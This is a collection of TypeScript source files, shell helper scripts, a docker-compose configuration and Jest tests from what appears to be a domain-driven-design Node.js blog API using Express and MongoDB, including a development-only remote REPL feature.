const promisableEval: REPLEval = (cmd, context, filename, callback) => {
const result = vm.runInContext(cmd, context);
if (isPromise(result)) {
return result.then((v) => callback(null, v)).catch((e) => callback(e, null));
}
return callback(null, result);
};
const makeREPL = ({ context, prompt, cli, remote, logger }: REPLProps): REPLInstance => {
let server: Server;
const create = (config: Partial<ReplOptions> = { input: process.stdin, output: process.stdout }): REPLServer => {
const repl = REPL.start({
eval: promisableEval,
prompt: `${prompt}$ `,
ignoreUndefined: true,
...config,
});
Object.assign(repl.context, context);
return repl;
};
let destroySocket: Socket['destroy'] = () => null;
return {
create,
start: async ({ terminate }) => {
if (cli) {
const repl = create();
repl.on('close', terminate);
} else if (remote) {
server = createServer((socket) => {
const repl = create({
input: socket,
output: socket,
terminal: true,
});
destroySocket = socket.destroy.bind(socket);
repl.on('close', () => {
socket.end();
});
socket.on('error', (err) => {
logger.error('[REPL] Connection error');
logger.error(err);
socket.end();
});
}).listen(remote.port);
}
},
close: async () => {
if (server && server.listening) {
await new Promise<void>((resolve, reject) => {
destroySocket();
server.close((err) => {
if (err) return reject(err);
resolve();
});
});
}
},
};
};
export { makeREPL };
<file_sep>const makePredicate =
<T>(value: symbol | string | any, key: string | symbol = 'type') =>
(obj: T | any): obj is T =>
obj[key] === value;
export { makePredicate };
<file_sep>import { Article } from '@/article/domain/Article';
import { ArticleRepository } from '@/article/domain/ArticleRepository';
import { ArticleCollection } from '@/article/infrastructure/ArticleCollection';
import { ArticleMapper } from '@/article/infrastructure/ArticleMapper';
import { NotFoundError } from '@/_lib/errors/NotFoundError';
import { ArticleId } from '@/_sharedKernel/domain/ArticleId';
import { ArticleIdProvider } from '@/_sharedKernel/infrastructure/ArticleIdProvider';
import { from, v4 } from 'uuid-mongodb';
type Dependencies = {
articleCollection: ArticleCollection;
};
const makeMongoArticleRepository = ({ articleCollection }: Dependencies): ArticleRepository => ({
async getNextId(): Promise<ArticleId> {
return Promise.resolve(ArticleIdProvider.create(v4().toString()));
},
async findById(id: string): Promise<Article.Type> {
const article = await articleCollection.findOne({ _id: from(id), deleted: false });
if (!article) {
throw NotFoundError.create();
}
return ArticleMapper.toEntity(article);
},
async store(entity: Article.Type): Promise<void> {
const { _id, version, ...data } = ArticleMapper.toData(entity);
const count = await articleCollection.countDocuments({ _id });
if (count) {
await articleCollection.updateOne(
{ _id, version, deleted: false },
{
$set: {
...data,
updatedAt: new Date(),
version: version + 1,
},
}
);
return;
}
await articleCollection.insertOne({
_id,
...data,
version,
});
},
});
export { makeMongoArticleRepository };
<file_sep>import dotenv from 'dotenv';
import { existsSync } from 'fs';
dotenv.config({
path:
process.env.NODE_ENV === 'production'
? '.env'
: existsSync(`.env.${process.env.NODE_ENV}.local`)
? `.env.${process.env.NODE_ENV}.local`
: `.env.${process.env.NODE_ENV}`,
});
const environments = ['development', 'production', 'test'] as const;
type EnvironmentTypes = typeof environments[number];
type EnvironmentConfig = {
environment: EnvironmentTypes;
};
const environment = (defaultValue: EnvironmentTypes = 'development'): EnvironmentTypes => {
let env: any = process.env.NODE_ENV;
if (!env) {
env = process.env.NODE_ENV = defaultValue;
}
if (!environments.includes(env)) {
throw new TypeError(`Invalid value for NODE_ENV variable. Accepted values are: ${environments.join(' | ')}.`);
}
return env;
};
const envString = (variable: string, defaultValue?: string): string => {
const value = process.env[variable] || defaultValue;
if (value == null) {
throw new TypeError(`Required environment variable ${variable} is undefined and has no default`);
}
return value;
};
const envNumber = (variable: string, defaultValue?: number): number => {
const value = Number(process.env[variable]) || defaultValue;
if (value == null) {
throw new TypeError(`Required environment variable ${variable} is undefined and has no default`);
}
return value;
};
export { environment, envString, envNumber };
export type { EnvironmentConfig };
<file_sep>version: '3.9'
services:
mongodb:
container_name: blog-mongodb
image: mongo:4.2
ports:
- 27017:27017
volumes:
- mongo_data:/data/db
environment:
MONGO_INITDB_ROOT_USERNAME: blog
MONGO_INITDB_ROOT_PASSWORD: <PASSWORD>
mongo-express:
container_name: blog-mongo-express
image: mongo-express
depends_on:
- mongodb
ports:
- 8081:8081
environment:
ME_CONFIG_MONGODB_URL: mongodb://blog:blog@blog-mongodb:27017
dev:
container_name: blog-dev
build:
context: .
dockerfile: ./docker/Dockerfile.dev
args:
USER_ID: ${USER_ID:-1000}
GROUP_ID: ${GROUP_ID:-1000}
depends_on:
- mongodb
network_mode: host
environment:
- NODE_ENV=${NODE_ENV:-development}
volumes:
- .:/opt/node-app
- npm_cache:/home/node/.npm-packages
tty: true
profiles:
- dev
volumes:
npm_cache:
mongo_data:
<file_sep>import { ArticleRepository } from '@/article/domain/ArticleRepository';
import { CommentRepository } from '@/comment/domain/CommentRepository';
import { ApplicationService } from '@/_lib/DDD';
import { Comment } from '@/comment/domain/Comment';
type Dependencies = {
commentRepository: CommentRepository;
articleRepository: ArticleRepository;
};
type CreateCommentDTO = Readonly<{
body: string;
articleId: string;
}>;
type CreateComment = ApplicationService<CreateCommentDTO, string>;
const makeCreateComment =
({ commentRepository, articleRepository }: Dependencies): CreateComment =>
async (payload) => {
const article = await articleRepository.findById(payload.articleId);
const id = await commentRepository.getNextId();
const comment = Comment.create({
id,
body: payload.body,
articleId: article.id,
});
await commentRepository.store(comment);
return id.value;
};
export { makeCreateComment };
export type { CreateComment };
<file_sep>import { CommentId } from '@/comment/domain/CommentId';
import { AggregateRoot } from '@/_lib/DDD';
import { ArticleId } from '@/_sharedKernel/domain/ArticleId';
namespace Comment {
type Status = 'ACTIVE' | 'DELETED';
type Comment = AggregateRoot<CommentId> &
Readonly<{
body: string;
articleId: ArticleId;
status: Status;
createdAt: Date;
updatedAt: Date;
version: number;
}>;
type CommentProps = Readonly<{
id: CommentId;
body: string;
articleId: ArticleId;
}>;
export const create = (props: CommentProps): Comment => ({
...props,
status: 'ACTIVE',
createdAt: new Date(),
updatedAt: new Date(),
version: 0,
});
export const markAsDeleted = (self: Comment): Comment => ({
...self,
status: 'DELETED',
});
export type Type = Comment;
}
export { Comment };
<file_sep>import { CommentId } from '@/comment/domain/CommentId';
import { makeIdProvider } from '@/_lib/IdProvider';
const CommentIdProvider = makeIdProvider<CommentId>('CommentId');
export { CommentIdProvider };
<file_sep>#!/bin/bash
DIR="$(cd "$(dirname "$0")" && pwd)"
if [[ $1 == --root ]] ; then
runner="\$DIR/run --root"
name=$2
shift 2
else
runner="\$DIR/run"
name=$1
shift 1
fi
cat >"$DIR/$name" <<EOL
#!/bin/bash
DIR="\$(cd "\$(dirname "\$0")" && pwd)"
. "$runner" $@ "\$@"
EOL
chmod +x "$DIR/$name"<file_sep>import { ArticleRepository } from '@/article/domain/ArticleRepository';
import { Article } from '@/article/domain/Article';
import { ApplicationService } from '@/_lib/DDD';
import { ArticleCreatedEvent } from '@/article/application/events/ArticleCreatedEvent';
import { eventProvider } from '@/_lib/pubSub/EventEmitterProvider';
type Dependencies = {
articleRepository: ArticleRepository;
};
type CreateArticleDTO = {
title: string;
content: string;
};
type CreateArticle = ApplicationService<CreateArticleDTO, string>;
const makeCreateArticle = eventProvider<Dependencies, CreateArticle>(
({ articleRepository }, enqueue) =>
async (payload: CreateArticleDTO) => {
const id = await articleRepository.getNextId();
const article = Article.create({
id,
title: payload.title,
content: payload.content,
});
await articleRepository.store(article);
enqueue(ArticleCreatedEvent.create(article));
return id.value;
}
);
export { makeCreateArticle };
export type { CreateArticle };
<file_sep>import { BaseError, Exception } from '@/_lib/errors/BaseError';
import { makePredicate } from '@/_lib/Predicate';
namespace NotFoundError {
const type = Symbol();
const name = 'NotFoundError';
const defaultMessage = 'Not Found';
export const create = (message: string = defaultMessage, code: string = name): Exception =>
new BaseError({ type, name, code, message });
export const is = makePredicate<Exception>(type);
}
export { NotFoundError };
<file_sep>import { createCommentHandler } from '@/comment/interface/http/commentController/CreateCommentHandler';
import { Router } from 'express';
type Dependencies = {
apiRouter: Router;
};
const makeCommentController = ({ apiRouter }: Dependencies) => {
const router = Router();
router.post('/articles/:articleId/comments', createCommentHandler);
apiRouter.use(router);
};
export { makeCommentController };
<file_sep>import { Container, container } from '@/container';
import { withContext } from '@/context';
import { main } from '@/_boot';
import { Db } from 'mongodb';
import supertest, { SuperTest, Test } from 'supertest';
type Dependencies = {
mongo: Db;
};
type TestControls = Readonly<{
request: () => SuperTest<Test>;
clearDatabase: () => Promise<void>;
cleanUp: () => Promise<void>;
container: Container;
registry: Container['cradle'];
}>;
const appRunning = withContext(
({ app: { onRunning } }) =>
new Promise<void>((resolve) => {
onRunning(async () => {
resolve();
});
main();
})
);
const makeClearDatabase =
({ mongo }: Dependencies) =>
async (): Promise<void> => {
const collections = await mongo.collections();
await Promise.all(collections.map((collection) => collection.deleteMany({})));
};
const makeTestControls = async (): Promise<TestControls> => {
await appRunning();
const { server } = container.cradle;
const clearDatabase = container.build(makeClearDatabase);
const cleanUp = withContext(async ({ app }) => {
await clearDatabase();
await app.stop();
});
return {
request: () => supertest(server),
registry: container.cradle,
clearDatabase,
container,
cleanUp,
};
};
export { makeTestControls };
export type { TestControls };
<file_sep>#!/bin/bash
user=""
if [[ $1 == --root ]] ; then
user="--user root"
shift 1
fi
if docker-compose ps -a | grep -E -i -q 'app(\s*)running'; then
USER_ID=$(id -u) GROUP_ID=$(id -g) docker-compose --profile dev exec $user dev "$@"
else
USER_ID=$(id -u) GROUP_ID=$(id -g) docker-compose --profile dev run --rm $user --service-ports dev "$@"
fi<file_sep>import { makeModule } from '@/context';
import { makeREPL } from '@/_lib/repl';
type REPLConfig = { appName: string; environment: string; cli: boolean; repl: { port: number } };
const repl = makeModule('repl', async ({ app: { onReady, terminate }, container, config, logger }) => {
const repl = makeREPL({
context: { registry: container.cradle, container },
cli: config.cli,
prompt: config.appName,
remote: !['production', 'test'].includes(config.environment) && config.repl,
logger,
});
onReady(async () => {
await repl.start({ terminate });
});
return async () => {
await repl.close();
};
});
export { repl };
export type { REPLConfig };
<file_sep>type InitFn<R, T, OPTS = void> = (deps: R, opts?: OPTS) => T;
type BuilderFn<R, OPTS = void> = <T>(fn: InitFn<R, T, OPTS>) => T;
type ThenArg<T extends (...args: any[]) => Promise<any>> = ReturnType<T> extends PromiseLike<infer U>
? U
: ReturnType<T>;
type Initialize<R, OPTS = void> = <T extends Array<InitFn<R, unknown, OPTS>>>(
...fns: T
) => Promise<{ [i in keyof T]: T[i] extends (...args) => any ? ThenArg<T[i]> : T[i] }>;
const makeInitialize =
<R extends Record<string, any>, OPTS = void>(builderFn: BuilderFn<R, OPTS>): Initialize<R, OPTS> =>
<T extends Array<InitFn<R, unknown, OPTS>>>(
...fns: T
): Promise<{ [i in keyof T]: T[i] extends (...args) => any ? ThenArg<T[i]> : T[i] }> =>
fns.reduce(
(chain, fn) =>
chain.then((results) => Promise.resolve(builderFn(fn)).then((result) => Promise.resolve([...results, result]))),
Promise.resolve<any[]>([])
) as any;
export { makeInitialize };
export type { Initialize };
<file_sep>type Sort = Readonly<{
field: string;
direction: 'asc' | 'desc';
}>;
type Pagination = Readonly<{
page: number;
pageSize: number;
}>;
type ResultPage = Readonly<{
current: number;
pageSize: number;
totalPages: number;
totalElements: number;
first: boolean;
last: boolean;
}>;
type Filter = Record<string, any>;
type Query<F = void> = F extends Filter
? Readonly<{
filter: F;
}>
: never;
type PaginatedQuery<F = void> = Query<F> &
Readonly<{
pagination: Pagination;
}>;
type SortedQuery<F = void> = Query<F> &
Readonly<{
sort: Sort[];
}>;
type SortedPaginatedQuery<F = void> = Query<F> &
Readonly<{
sort: Sort[];
pagination: Pagination;
}>;
type QueryResult<T> = Readonly<{
data: T;
}>;
type PaginatedQueryResult<T> = QueryResult<T> &
Readonly<{
page: ResultPage;
}>;
type QueryHandler<P extends Query<any> | void, R extends QueryResult<any>> = (payload: P) => Promise<R>;
export { Query, PaginatedQuery, SortedQuery, SortedPaginatedQuery, QueryResult, PaginatedQueryResult, QueryHandler };
<file_sep>import { Server } from 'http';
import { logger } from '@/_lib/logger';
import { RequestHandler } from 'express';
type ShutdownMiddleware = {
shutdownHook: () => Promise<void>;
shutdownHandler: () => RequestHandler;
};
const gracefulShutdown = (server: Server, forceTimeout = 30000): ShutdownMiddleware => {
let shuttingDown = false;
const shutdownHook = () =>
new Promise<void>((resolve, reject) => {
if (!process.env.NODE_ENV?.match(/^prod/i) || !server.listening) {
return resolve();
}
shuttingDown = true;
logger.warn('Shutting down server');
setTimeout(() => {
logger.error('Could not close connections in time, forcefully shutting down');
resolve();
}, forceTimeout).unref();
server.close((err) => {
if (err) return reject(err);
logger.info('Closed out remaining connections.');
resolve();
});
});
return {
shutdownHandler: () => (req, res, next) => {
if (!shuttingDown) {
return next();
}
res.set('Connection', 'close');
res.status(503).send('Server is in the process of restarting.');
},
shutdownHook,
};
};
export { gracefulShutdown };
<file_sep>import { ArticleCreatedEvent } from '@/article/application/events/ArticleCreatedEvent';
import { CreateArticle, makeCreateArticle } from '@/article/application/useCases/CreateArticle';
import { ArticleRepository } from '@/article/domain/ArticleRepository';
import { Publisher } from '@/_lib/events/Publisher';
describe('CreateArticle', () => {
const id = 'mock-article-id';
const title = 'Title';
const content = 'Some content';
const articleRepository: ArticleRepository = {
findById: jest.fn(),
store: jest.fn(),
getNextId: jest.fn().mockReturnValue(Promise.resolve({ value: id })),
};
const publisher: Publisher = {
publish: jest.fn(),
};
let createArticle: CreateArticle;
beforeEach(async () => {
jest.clearAllMocks();
createArticle = makeCreateArticle({ articleRepository, eventEmitterPubSub: publisher });
});
it('should return the created id', async () => {
const result = await createArticle({ title, content });
expect(result).toBe(id);
});
it('should store the article', async () => {
await createArticle({ title, content });
expect(articleRepository.store).toHaveBeenCalledWith(
expect.objectContaining({
id: { value: id },
title,
content,
})
);
});
it('should enqueue ArticleCreatedEvent', async () => {
await createArticle({ title, content });
expect(publisher.publish).toHaveBeenCalledWith(
expect.objectContaining({
eventType: ArticleCreatedEvent.eventType,
topic: ArticleCreatedEvent.topic,
payload: expect.objectContaining({
id: { value: id },
title,
content,
}),
})
);
});
});
<file_sep>import { articleModule, ArticleRegistry } from '@/article';
import { commentModule, CommentRegistry } from '@/comment';
// eslint-disable-next-line @typescript-eslint/ban-types
type AppModulesConfig = {};
const appModules = [articleModule, commentModule];
type AppModulesRegistry = ArticleRegistry & CommentRegistry;
export { appModules };
export type { AppModulesConfig, AppModulesRegistry };
<file_sep>import { ArticleRepository } from '@/article/domain/ArticleRepository';
import { Article } from '@/article/domain/Article';
import { ApplicationService } from '@/_lib/DDD';
type Dependencies = {
articleRepository: ArticleRepository;
};
type DeleteArticle = ApplicationService<string, void>;
const makeDeleteArticle =
({ articleRepository }: Dependencies): DeleteArticle =>
async (payload: string) => {
let article = await articleRepository.findById(payload);
article = Article.markAsDeleted(article);
await articleRepository.store(article);
};
export { makeDeleteArticle };
export type { DeleteArticle };
<file_sep>import { makeContext } from '@/_lib/Context';
import { container, initialize } from '@/container';
import { config } from '@/config';
import { logger } from '@/_lib/logger';
const { withContext, makeModule } = makeContext({ config, container, logger, initialize }, { logger });
export { withContext, makeModule };
<file_sep>import { ValidationError } from '@/_lib/errors/ValidationError';
import { errorConverter } from '@/_lib/http/middlewares/errorHandler';
import { BaseError } from '@/_lib/errors/BaseError';
import { NotFoundError } from '@/_lib/errors/NotFoundError';
import { HttpStatus } from '@/_lib/http/HttpStatus';
import { UnauthorizedError } from '@/_lib/errors/UnauthorizedError';
import { ForbiddenError } from '@/_lib/errors/ForbiddenError';
import { BusinessError } from '@/_sharedKernel/domain/error/BusinessError';
import { BadRequestError } from '@/_lib/errors/BadRequestError';
const errorConverters = [
errorConverter(ValidationError.is, (err) => {
const status = err.meta?.target === 'body' ? HttpStatus.UNPROCESSABLE_ENTITY : HttpStatus.BAD_REQUEST;
return {
status,
body: {
error: err.name,
code: err.code,
status,
message: err.message,
details: err.meta?.error.details.map((detail) => ({
field: detail.path.join('.'),
path: detail.path,
})),
},
};
}),
errorConverter(BadRequestError.is, (err) => ({
status: HttpStatus.BAD_REQUEST,
body: {
error: err.name,
code: err.code,
status: HttpStatus.BAD_REQUEST,
message: err.message,
},
})),
errorConverter(NotFoundError.is, (err) => ({
status: HttpStatus.NOT_FOUND,
body: {
error: err.name,
code: err.code,
status: HttpStatus.NOT_FOUND,
message: err.message,
},
})),
errorConverter(UnauthorizedError.is, (err) => ({
status: HttpStatus.UNAUTHORIZED,
body: {
error: err.name,
code: err.code,
status: HttpStatus.UNAUTHORIZED,
message: err.message,
},
})),
errorConverter(ForbiddenError.is, (err) => ({
status: HttpStatus.FORBIDDEN,
body: {
error: err.name,
code: err.code,
status: HttpStatus.FORBIDDEN,
message: err.message,
},
})),
errorConverter(BusinessError.is, (err) => ({
status: HttpStatus.CONFLICT,
body: {
error: err.name,
code: err.code,
status: HttpStatus.CONFLICT,
kind: err.meta?.key,
message: err.message,
},
})),
errorConverter(
(err: any | BaseError): err is BaseError => err instanceof BaseError,
(err) => ({
status: HttpStatus.INTERNAL_SERVER_ERROR,
body: {
error: err.name,
code: err.code,
status: HttpStatus.INTERNAL_SERVER_ERROR,
meta: err.meta,
message: err.message,
},
})
),
];
export { errorConverters };
<file_sep>import { ErrorRequestHandler } from 'express';
import { Exception } from '@/_lib/errors/BaseError';
type ErrorConverter<E extends Exception> = {
test: (err: E | any) => err is E;
converter: (err: E) => { status: number; body: string | Record<string, any> };
};
type ErrorConverterFn = <E extends Exception>(
test: (err: E | any) => err is E,
converter: (err: E) => { status: number; body: string | Record<string, any> }
) => ErrorConverter<E>;
const errorConverter: ErrorConverterFn = (test, converter) => ({ test, converter });
const makeErrorResponseBuilder = (errorConverters: ErrorConverter<any>[]) => (err: any) => {
const mapping = errorConverters.find((parser) => parser.test(err));
return mapping ? mapping.converter(err) : null;
};
type ErrorHandlerOptions = {
logger: Pick<Console, 'error'>;
};
const defaultOptions: ErrorHandlerOptions = {
logger: console,
};
const errorHandler = (
errorMap: ErrorConverter<any>[],
options: Partial<ErrorHandlerOptions> = {}
): ErrorRequestHandler => {
const { logger } = { ...defaultOptions, ...options };
const errorResponseBuilder = makeErrorResponseBuilder(errorMap);
return (err, req, res, next) => {
logger.error(err.stack);
const errorResponse = errorResponseBuilder(err);
if (errorResponse) {
const { status, body } = errorResponse;
return res.status(status).json(typeof body === 'object' ? body : { error: body });
}
res.status(500).json({ error: err.message });
};
};
export { errorHandler, errorConverter };
<file_sep>import { Article } from '@/article/domain/Article';
import { Repository } from '@/_lib/DDD';
type ArticleRepository = Repository<Article.Type> & {
findById(id: string): Promise<Article.Type>;
};
export { ArticleRepository };
<file_sep>import { deleteArticleHandler } from '@/article/interface/http/articleController/DeleteArticleHandler';
import { Router } from 'express';
import { createArticleHandler } from './CreateArticleHandler';
import { findArticlesHandler } from './FindArticlesHandler';
import { publishArticleHandler } from './PublishArticleHandler';
type Dependencies = {
apiRouter: Router;
};
const makeArticleController = ({ apiRouter }: Dependencies) => {
const router = Router();
/**
* @swagger
*
* /articles:
* get:
* tags:
* - Articles
* summary: The list of published articles
* produces:
* - application/json
* responses:
* 200:
* description: List of published articles
* schema:
* type: array
* items:
* $ref: '#/definitions/ArticleDTO'
*/
router.get('/articles', findArticlesHandler);
router.post('/articles', createArticleHandler);
router.delete('/articles/:articleId', deleteArticleHandler);
router.patch('/articles/:articleId/publish', publishArticleHandler);
apiRouter.use(router);
};
export { makeArticleController };
<file_sep>declare module 'http' {
export interface IncomingMessage {
id?: string;
container: import('@/container').Container;
}
}
<file_sep>import { connect } from 'net';
const main = () => {
const { argv } = process;
let host = '127.0.0.1';
let port = 2580;
if (argv.length === 4) {
host = argv[2];
port = Number(argv[3]);
} else if (argv.length === 3) {
port = Number(argv[2]);
} else {
throw new Error('The command is supposed to be used as: yarn remote [server address] [REPL port]');
}
const sock = connect(port, host);
process.stdin.pipe(sock);
sock.pipe(process.stdout);
sock.on('connect', function () {
process.stdin.resume();
process.stdin.setRawMode(true);
});
sock.on('close', function done() {
process.stdin.setRawMode(false);
process.stdin.pause();
sock.removeListener('close', done);
});
process.stdin.on('end', function () {
sock.destroy();
console.log();
});
};
main();
<file_sep>import { asFunction } from 'awilix';
import { CreateArticle, makeCreateArticle } from '@/article/application/useCases/CreateArticle';
import { DeleteArticle, makeDeleteArticle } from '@/article/application/useCases/DeleteArticle';
import { makePublishArticle, PublishArticle } from '@/article/application/useCases/PublishArticle';
import { ArticleRepository } from '@/article/domain/ArticleRepository';
import { ArticleCollection, initArticleCollection } from '@/article/infrastructure/ArticleCollection';
import { makeMongoArticleRepository } from '@/article/infrastructure/MongoArticleRepository';
import { makeArticleController } from '@/article/interface/http/articleController';
import { FindArticles } from '@/article/application/query/FindArticles';
import { withMongoProvider } from '@/_lib/MongoProvider';
import { toContainerValues } from '@/_lib/di/containerAdapters';
import { makeMongoFindArticles } from '@/article/infrastructure/MongoFindArticles';
import { makeModule } from '@/context';
import { makeArticleCreatedEmailListener } from '@/article/interface/email/ArticleCreatedEmailListener';
const articleModule = makeModule('article', async ({ container: { register }, initialize }) => {
const [collections] = await initialize(
withMongoProvider({
articleCollection: initArticleCollection,
})
);
register({
...toContainerValues(collections),
articleRepository: asFunction(makeMongoArticleRepository),
createArticle: asFunction(makeCreateArticle),
publishArticle: asFunction(makePublishArticle),
deleteArticle: asFunction(makeDeleteArticle),
findArticles: asFunction(makeMongoFindArticles),
});
await initialize(makeArticleController, makeArticleCreatedEmailListener);
});
type ArticleRegistry = {
articleCollection: ArticleCollection;
articleRepository: ArticleRepository;
createArticle: CreateArticle;
publishArticle: PublishArticle;
deleteArticle: DeleteArticle;
findArticles: FindArticles;
};
export { articleModule };
export type { ArticleRegistry };
<file_sep>import { Collection, Db } from 'mongodb';
import { MUUID } from 'uuid-mongodb';
type ArticleSchema = {
_id: MUUID;
title: string;
content: string;
status: 'DRAFT' | 'PUBLISHED' | 'DELETED';
publishedAt: Date | null;
deleted: boolean;
createdAt: Date;
updatedAt: Date;
version: number;
};
type ArticleCollection = Collection<ArticleSchema>;
const initArticleCollection = async (db: Db): Promise<ArticleCollection> => {
const collection: ArticleCollection = db.collection('article');
await collection.createIndex({ title: 1 }, { unique: true });
await collection.createIndex({ _id: 1, version: 1 });
await collection.createIndex({ _id: 1, deleted: 1 });
return collection;
};
export { initArticleCollection };
export type { ArticleSchema, ArticleCollection };
<file_sep>import { ArticleRepository } from '@/article/domain/ArticleRepository';
import { Article } from '@/article/domain/Article';
import { ApplicationService } from '@/_lib/DDD';
import { BusinessError } from '@/_sharedKernel/domain/error/BusinessError';
import { Logger } from 'pino';
type Dependencies = {
articleRepository: ArticleRepository;
logger: Logger;
};
type PublishArticle = ApplicationService<string, void>;
const makePublishArticle =
({ articleRepository, logger }: Dependencies): PublishArticle =>
async (payload: string) => {
const article = await articleRepository.findById(payload);
if (Article.isPublished(article)) {
throw BusinessError.create(
// eslint-disable-next-line max-len
`Can't republish the Article(id=${payload}) because it was already published at ${article.publishedAt.toISOString()}`
);
}
const publishedArticle = Article.publish(article);
await articleRepository.store(publishedArticle);
logger.info(`[PublishArticle] Article(id=${payload}) published at ${article.publishedAt?.toISOString()}`);
};
export { makePublishArticle };
export type { PublishArticle };
<file_sep>import { PublishArticle } from '@/article/application/useCases/PublishArticle';
import { handler } from '@/_lib/http/handler';
import { Request, Response } from 'express';
type Dependencies = {
publishArticle: PublishArticle;
};
const publishArticleHandler = handler(({ publishArticle }: Dependencies) => async (req: Request, res: Response) => {
const { articleId } = req.params;
await publishArticle(articleId);
res.sendStatus(204);
});
export { publishArticleHandler };
<file_sep>import { makeModule } from '@/context';
import { resolve } from 'path';
import swaggerJSDoc from 'swagger-jsdoc';
import swaggerUi from 'swagger-ui-express';
type SwaggerConfig = {
swagger: {
title: string;
version: string;
basePath: string;
docEndpoint: string;
};
};
const swagger = makeModule('swagger', async ({ container: { build }, config: { http, swagger } }) => {
const options = {
swaggerDefinition: {
info: {
title: swagger.title,
version: swagger.version,
},
basePath: swagger.basePath,
},
apis: [resolve(__dirname, '../**/interface/http/**/*.yaml'), resolve(__dirname, '../**/interface/http/**/*.ts')],
};
// Initialize swagger-jsdoc -> returns validated swagger spec in json format
const swaggerSpec = swaggerJSDoc(options);
build(({ server }) => {
server.use(swagger.docEndpoint, swaggerUi.serve, swaggerUi.setup(swaggerSpec, { explorer: true }));
});
});
export { swagger };
export type { SwaggerConfig };
<file_sep>type EventAddress<ET extends string = string, T extends string = string> = Readonly<{
eventType: ET;
topic: T;
}>;
type Event<P, ET extends string = string, T extends string = string> = EventAddress<ET, T> &
Readonly<{
eventId: string;
payload: P;
}>;
export { Event, EventAddress };
<file_sep>process.env.NODE_ENV = 'test';
const catchAll = new Proxy(
{},
{
get: () => {
return jest.fn().mockReturnValue(catchAll);
},
}
);
jest.mock('pino', () => () => catchAll);
console = catchAll;
<file_sep>import { handler } from '@/_lib/http/handler';
import { HttpStatus } from '@/_lib/http/HttpStatus';
type Dependencies = {
startedAt: Date;
};
const statusHandler = handler(({ startedAt }: Dependencies) => async (_, res) => {
const uptime = Math.round((Date.now() - startedAt.getTime()) / 10) / 100;
res.status(HttpStatus.OK).json({
startedAt,
uptime,
});
});
export { statusHandler };
<file_sep>import { PaginatedQueryResult, QueryHandler, SortedPaginatedQuery } from '@/_lib/CQRS';
type ArticleListItemDTO = Readonly<{
id: string;
title: string;
content: string;
publishedAt: Date;
comments: ReadonlyArray<{
id: string;
body: string;
createdAt: Date;
}>;
}>;
type ArticleFilter = {
title?: string;
publishedBetween?: Date[];
};
type FindArticles = QueryHandler<SortedPaginatedQuery<ArticleFilter>, PaginatedQueryResult<ArticleListItemDTO[]>>;
export { FindArticles };
<file_sep>import { AggregateId } from '@/_lib/DDD';
type ArticleId = AggregateId<string>;
export { ArticleId };
<file_sep>import { Publisher } from '@/_lib/events/Publisher';
import { Subscriber, SubscriberOptions } from '@/_lib/events/Subscriber';
import { EventEmitter } from 'stream';
const defaultOpts: SubscriberOptions = {
nackOn: () => true,
single: false,
};
const makeEventEmitterPubSub = (): Publisher & Subscriber => {
const emitter = new EventEmitter();
const registrations: (() => Promise<void>)[] = [];
return {
publish: async (event) => {
emitter.emit(`${event.topic}.${event.eventType}`, event);
},
add: async (address, handler, opts = {}) => {
const { single, nackOn } = { ...defaultOpts, ...opts };
registrations.push(async () => {
emitter[single ? 'once' : 'on'](`${address.topic}.${address.eventType}`, async (event) => {
try {
await handler(event);
} catch (err) {
if (nackOn(err)) {
throw err;
}
console.error(err);
}
});
});
},
start: async () => {
await registrations.reduce((chain, registration) => chain.then(registration), Promise.resolve());
},
dispose: async () => {
emitter.removeAllListeners();
},
};
};
const key = 'eventEmitterPubSub';
export { key, makeEventEmitterPubSub };
<file_sep>import { makePublishArticle, PublishArticle } from '@/article/application/useCases/PublishArticle';
import { Article } from '@/article/domain/Article';
import { ArticleRepository } from '@/article/domain/ArticleRepository';
import { BaseError } from '@/_lib/errors/BaseError';
import { NotFoundError } from '@/_lib/errors/NotFoundError';
import pino from 'pino';
describe('DeleteArticle', () => {
const id = 'mock-article-id';
const title = 'Title';
const content = 'Some content';
const articleRepository: ArticleRepository = {
findById: jest.fn().mockImplementation(async (articleId) => {
if (articleId !== id) {
throw NotFoundError.create(articleId);
}
return Article.create({
id: { value: id },
title,
content,
});
}),
store: jest.fn(),
getNextId: jest.fn(),
};
let publishArticle: PublishArticle;
beforeEach(async () => {
jest.clearAllMocks();
publishArticle = makePublishArticle({
articleRepository,
logger: pino(),
messageBundle: { getMessage: jest.fn(), useBundle: jest.fn(), updateBundle: jest.fn() },
});
});
it('should save the article as published', async () => {
await publishArticle(id);
expect(articleRepository.store).toHaveBeenCalledWith(
expect.objectContaining({
id: { value: id },
state: 'PUBLISHED',
})
);
});
it('should throw error if not found', async () => {
await expect(publishArticle('some-wrong-id')).rejects.toThrowError(BaseError);
});
});
<file_sep>import { server, ServerConfig, ServerRegistry } from '@/_boot/server';
import { appModules, AppModulesConfig, AppModulesRegistry } from '@/_boot/appModules';
import { asValue } from 'awilix';
import { database, DatabaseConfig, DatabaseRegistry } from '@/_boot/database';
import { repl, REPLConfig } from '@/_boot/repl';
import { withContext } from '@/context';
import { Configuration } from '@/config';
import { Logger } from 'pino';
import { pubSub, PubSubRegistry } from '@/_boot/pubSub';
import { swagger, SwaggerConfig } from '@/_boot/swagger';
import { EnvironmentConfig } from '@/_lib/Environment';
import { ContextApp } from '@/_lib/Context';
import { Container, Initialize } from '@/container';
type MainConfig = ServerConfig & DatabaseConfig & EnvironmentConfig & REPLConfig & SwaggerConfig & AppModulesConfig;
const main = withContext(async ({ app, container, config, bootstrap, logger, initialize }) => {
container.register({
app: asValue(app),
initialize: asValue(initialize),
container: asValue(container),
logger: asValue(logger),
startedAt: asValue(new Date()),
config: asValue(config),
});
await bootstrap(database, server, swagger, pubSub, repl, ...appModules);
});
type MainRegistry = {
app: ContextApp;
container: Container;
initialize: Initialize;
startedAt: Date;
logger: Logger;
config: Configuration;
} & DatabaseRegistry &
ServerRegistry &
PubSubRegistry &
AppModulesRegistry;
export { main };
export type { MainConfig, MainRegistry };
<file_sep>import { BuildResolverOptions, createContainer } from 'awilix';
import { MainRegistry } from '@/_boot';
import { makeInitialize } from '@/_lib/Initialize';
type Registry = MainRegistry;
const container = createContainer<Registry>();
const initialize = makeInitialize<Registry, BuildResolverOptions<any>>(container.build);
type Container = typeof container;
type Initialize = typeof initialize;
export { container, initialize };
export type { Container, Registry, Initialize };
<file_sep>import { ArticleCreatedEvent } from '@/article/application/events/ArticleCreatedEvent';
import { ArticleCollection } from '@/article/infrastructure/ArticleCollection';
import { from } from 'uuid-mongodb';
import { eventConsumer } from '@/_lib/pubSub/EventEmitterConsumer';
type Dependencies = {
articleCollection: ArticleCollection;
};
